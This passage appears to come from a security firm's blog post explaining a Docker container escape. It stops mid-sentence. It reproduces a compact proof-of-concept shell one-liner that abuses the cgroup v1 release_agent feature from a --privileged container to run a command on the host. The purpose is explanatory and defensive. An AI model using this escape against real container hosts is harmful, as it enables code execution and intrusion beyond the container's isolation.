Understanding Docker container escapes

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Trail of Bits recently completed a security assessment of Kubernetes, including its interaction with Docker. Felix Wilhelm’s recent tweet of a Proof of Concept (PoC) “container escape” sparked our interest, since we performed similar research and were curious how this PoC could impact Kubernetes. Felix’s tweet shows an exploit that launches a process on the host from within a Docker container run with the --privileged flag. The PoC achieves this by abusing the Linux cgroup v1 “notification on release” feature. Here’s a version of the PoC that launches ps on the host: # spawn a new container to exploit via: # docker run --rm -it --privileged ubuntu bash d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` mkdir -p $d/w;echo 1 >$d/w/notify_on_release t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` touch /o; echo $t/c >$d/release_agent;printf '#!/bin/sh ps >'"$t/o" >/c; chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o The --privileged flag introduces significant security concerns, and the exploit relies on launching a docker container with it enabled. When using this flag, containers have full access to all devices and